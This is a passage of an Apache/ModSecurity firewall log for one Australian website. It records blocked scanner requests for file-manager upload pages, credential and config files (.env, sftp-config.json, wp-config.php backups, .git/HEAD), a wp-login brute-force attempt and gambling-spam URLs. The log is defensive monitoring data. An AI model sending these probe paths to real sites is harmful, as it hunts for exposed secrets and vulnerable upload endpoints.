[Wed Jan 28 05:39:50.651707 2026] [:error] [pid 2454:tid 2466] [client 149.102.233.241:56750] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asset/plugins/kcfinder/browse.php"] [unique_id "aXkwppvv4I21Ywd7NNYhZQAAAYg"]
[Wed Jan 28 05:39:52.178013 2026] [:error] [pid 17426:tid 17497] [client 149.102.233.241:56862] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/kcfinder/browse.php"] [unique_id "aXkwqE8zvf_03BnziRcq7AAAAIg"]
[Wed Jan 28 05:39:53.691671 2026] [:error] [pid 58254:tid 58279] [client 149.102.233.241:56949] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/plugins/kcfinder/browse.php"] [unique_id "aXkwqfF8nSyBg9wOsa86WwAAARc"]
[Wed Jan 28 05:39:55.252263 2026] [:error] [pid 58254:tid 58275] [client 149.102.233.241:57042] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kcfinder/browse.php"] [unique_id "aXkwq_F8nSyBg9wOsa86XwAAARM"]
[Wed Jan 28 05:39:56.779866 2026] [:error] [pid 17424:tid 17452] [client 149.102.233.241:57136] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/kcfinder/browse.php"] [unique_id "aXkwrGRvtDRvGDe-pItv_QAAABM"]
[Wed Jan 28 05:39:58.296238 2026] [:error] [pid 58254:tid 58261] [client 149.102.233.241:57242] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/filemanager/dialog.php"] [unique_id "aXkwrvF8nSyBg9wOsa86ZgAAAQU"]
[Wed Jan 28 05:39:59.808100 2026] [:error] [pid 64842:tid 64858] [client 149.102.233.241:57338] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/filemanager/dialog.php"] [unique_id "aXkwr1uAAQZ5AN_SnDYjYwAAAU4"]
[Wed Jan 28 05:40:01.321744 2026] [:error] [pid 58254:tid 58264] [client 149.102.233.241:57432] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/plugins/filemanager/dialog.php"] [unique_id "aXkwsfF8nSyBg9wOsa86bgAAAQg"]
[Wed Jan 28 05:40:02.848244 2026] [:error] [pid 17425:tid 17480] [client 149.102.233.241:57525] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/admin/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "aXkwsqrcODKH1Dl7aZBM8AAAAFI"]
[Wed Jan 28 05:40:04.359826 2026] [:error] [pid 17425:tid 17485] [client 149.102.233.241:57615] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aXkwtKrcODKH1Dl7aZBM8wAAAFY"]
[Wed Jan 28 05:40:05.875691 2026] [:error] [pid 17425:tid 17473] [client 149.102.233.241:57711] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/filemanager/dialog.php"] [unique_id "aXkwtarcODKH1Dl7aZBM9wAAAEs"]
[Wed Jan 28 05:40:07.386724 2026] [:error] [pid 17535:tid 17549] [client 149.102.233.241:57804] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinymce/filemanager/dialog.php"] [unique_id "aXkwt63QiSMgVscnN5JBpAAAAMs"]
[Wed Jan 28 05:40:08.921895 2026] [:error] [pid 17425:tid 17471] [client 149.102.233.241:57899] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/filemanager/dialog.php"] [unique_id "aXkwuKrcODKH1Dl7aZBM_wAAAEk"]
[Wed Jan 28 05:40:10.434774 2026] [:error] [pid 17425:tid 17483] [client 149.102.233.241:57997] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/editor/plugins/filemanager/dialog.php"] [unique_id "aXkwuqrcODKH1Dl7aZBNBQAAAFU"]
[Wed Jan 28 05:40:11.945792 2026] [:error] [pid 17425:tid 17470] [client 149.102.233.241:58100] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/vendor/filemanager/dialog.php"] [unique_id "aXkwu6rcODKH1Dl7aZBNCQAAAEg"]
[Wed Jan 28 05:40:13.449418 2026] [:error] [pid 17425:tid 17466] [client 149.102.233.241:58192] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tinymce/js/tinymce/plugins/filemanager/dialog.php"] [unique_id "aXkwvarcODKH1Dl7aZBNDQAAAEQ"]
[Wed Jan 28 05:40:15.165603 2026] [:error] [pid 58254:tid 58267] [client 149.102.233.241:58291] [client 149.102.233.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "aXkwv_F8nSyBg9wOsa86kAAAAQs"]
[Wed Jan 28 05:40:16.679204 2026] [:error] [pid 2454:tid 2464] [client 149.102.233.241:58394] [client 149.102.233.241] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aXkwwJvv4I21Ywd7NNYhtAAAAYY"]
[Wed Jan 28 05:40:18.186507 2026] [:error] [pid 17425:tid 17480] [client 149.102.233.241:58502] [client 149.102.233.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aXkwwqrcODKH1Dl7aZBNHQAAAFI"]
[Wed Jan 28 05:40:19.734574 2026] [:error] [pid 2454:tid 2461] [client 149.102.233.241:58599] [client 149.102.233.241] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/wp-config.php~"] [unique_id "aXkww5vv4I21Ywd7NNYhwgAAAYM"]
[Wed Jan 28 07:09:02.568401 2026] [:error] [pid 58254:tid 58259] [client 141.98.11.239:57142] [client 141.98.11.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 141.98.11.239, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXlFjvF8nSyBg9wOsa9QXAAAAQM"]
[Wed Jan 28 07:09:02.568492 2026] [:error] [pid 58254:tid 58259] [client 141.98.11.239:57142] [client 141.98.11.239] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 141.98.11.239 on wp-login.php, counter = 48"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aXlFjvF8nSyBg9wOsa9QXAAAAQM"]
[Wed Jan 28 08:17:12.513896 2026] [autoindex:error] [pid 64842:tid 64853] [client 167.99.118.47:60050] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Jan 28 11:25:33.728264 2026] [:error] [pid 33636:tid 33652] [client 43.156.204.134:36250] [client 43.156.204.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXmBrdIVZAudQH0BSC61xwAAAg4"]
[Wed Jan 28 12:09:21.309755 2026] [:error] [pid 33491:tid 33571] [client 45.137.126.17:43839] [client 45.137.126.17] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aXmL8WP9UY0x3irkINCidAAAANQ"]
[Wed Jan 28 12:09:22.137395 2026] [:error] [pid 33490:tid 33537] [client 45.137.126.26:28643] [client 45.137.126.26] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/HEAD"] [unique_id "aXmL8mjexcy58gsBPJEIlgAAAE0"]
[Wed Jan 28 17:20:08.297609 2026] [:error] [pid 24482:tid 24490] [client 60.188.57.0:43488] [client 60.188.57.0] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXnUyKLaUZr_xWekSHN07wAAAcQ"]
[Wed Jan 28 18:16:29.382291 2026] [:error] [pid 42740:tid 42765] [client 51.83.5.74:43330] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aXnh_VnjAS34srJlXgSDrAAAAJc"]
[Wed Jan 28 18:16:37.051519 2026] [:error] [pid 33490:tid 33539] [client 51.83.5.74:48346] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aXniBWjexcy58gsBPJF6_wAAAE8"]
[Wed Jan 28 18:16:45.699706 2026] [:error] [pid 2625:tid 2641] [client 51.83.5.74:48586] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aXniDVZhY64HvuPd7w1DfgAAAUo"]
[Wed Jan 28 18:16:55.870732 2026] [:error] [pid 33636:tid 33654] [client 51.83.5.74:60454] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aXniF9IVZAudQH0BSC4doQAAAhA"]
[Wed Jan 28 18:17:06.203933 2026] [:error] [pid 33489:tid 33512] [client 51.83.5.74:60462] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aXniIhZrVZwQUFWC7_8ycwAAABM"]
[Wed Jan 28 18:17:14.321496 2026] [:error] [pid 33490:tid 33537] [client 51.83.5.74:60568] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aXniKmjexcy58gsBPJF7FQAAAE0"]
[Wed Jan 28 18:18:46.755626 2026] [:error] [pid 24452:tid 24477] [client 51.83.5.74:52034] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aXnihv0RQOh_GmqmVyZHhwAAAZc"]
[Wed Jan 28 18:18:53.524144 2026] [:error] [pid 33580:tid 33596] [client 51.83.5.74:46646] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aXnijZlb0QJtwfka8l5BDQAAAQk"]
[Wed Jan 28 18:19:22.492324 2026] [:error] [pid 33636:tid 33643] [client 51.83.5.74:45010] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aXniqtIVZAudQH0BSC4d4AAAAgU"]
[Wed Jan 28 18:19:30.713986 2026] [:error] [pid 33580:tid 33608] [client 51.83.5.74:55050] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20777.aspx"] [unique_id "aXnisplb0QJtwfka8l5BGAAAARU"]
[Wed Jan 28 18:19:36.342141 2026] [:error] [pid 24452:tid 24471] [client 51.83.5.74:59640] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20888.aspx"] [unique_id "aXniuP0RQOh_GmqmVyZHyAAAAZE"]
[Wed Jan 28 18:19:41.036298 2026] [:error] [pid 24452:tid 24457] [client 51.83.5.74:59656] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%2099.aspx"] [unique_id "aXnivf0RQOh_GmqmVyZHzQAAAYM"]
[Wed Jan 28 18:20:43.786153 2026] [:error] [pid 24482:tid 24504] [client 51.83.5.74:51368] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aXni-6LaUZr_xWekSHOCxQAAAdI"]
[Wed Jan 28 18:20:48.585495 2026] [:error] [pid 33636:tid 33649] [client 51.83.5.74:37542] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "aXnjANIVZAudQH0BSC4eEgAAAgs"]
[Wed Jan 28 18:20:52.985061 2026] [:error] [pid 24482:tid 24498] [client 51.83.5.74:37544] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "aXnjBKLaUZr_xWekSHOC2QAAAcw"]
[Wed Jan 28 18:20:56.850519 2026] [:error] [pid 24452:tid 24472] [client 51.83.5.74:48914] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "aXnjCP0RQOh_GmqmVyZIPwAAAZI"]
[Wed Jan 28 18:21:01.834760 2026] [:error] [pid 33580:tid 33611] [client 51.83.5.74:48930] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aXnjDZlb0QJtwfka8l5BWQAAARg"]
[Wed Jan 28 18:21:09.534853 2026] [:error] [pid 33489:tid 33504] [client 51.83.5.74:54658] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "aXnjFRZrVZwQUFWC7_8zEQAAAAs"]
[Wed Jan 28 18:21:13.566661 2026] [:error] [pid 33580:tid 33597] [client 51.83.5.74:54664] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "aXnjGZlb0QJtwfka8l5BXAAAAQo"]
[Wed Jan 28 18:21:17.773882 2026] [:error] [pid 33636:tid 33662] [client 51.83.5.74:41510] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "aXnjHdIVZAudQH0BSC4eKgAAAhg"]
[Wed Jan 28 18:21:21.678382 2026] [:error] [pid 24482:tid 24504] [client 51.83.5.74:41514] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "aXnjIaLaUZr_xWekSHOC5wAAAdI"]
[Wed Jan 28 18:21:24.874278 2026] [:error] [pid 2625:tid 2631] [client 51.83.5.74:41524] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aXnjJFZhY64HvuPd7w1EYgAAAUA"]
[Wed Jan 28 18:21:29.880321 2026] [:error] [pid 2625:tid 2633] [client 51.83.5.74:33900] [client 51.83.5.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aXnjKVZhY64HvuPd7w1EZQAAAUI"]
[Wed Jan 28 19:54:50.779027 2026] [:error] [pid 33490:tid 33535] [client 35.87.165.99:42528] [client 35.87.165.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aXn5Cmjexcy58gsBPJGe8gAAAEs"]
[Wed Jan 28 20:15:46.682505 2026] [:error] [pid 33491:tid 33561] [client 3.12.163.221:48820] [client 3.12.163.221] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aXn98mP9UY0x3irkINAm3gAAAMo"]
[Wed Jan 28 20:18:29.466414 2026] [:error] [pid 42740:tid 42766] [client 77.174.205.56:48416] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aXn-lVnjAS34srJlXgSd1gAAAJg"]
[Wed Jan 28 20:18:32.069351 2026] [:error] [pid 42740:tid 42755] [client 77.174.205.56:55646] [client 77.174.205.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aXn-mFnjAS34srJlXgSd3AAAAI0"]
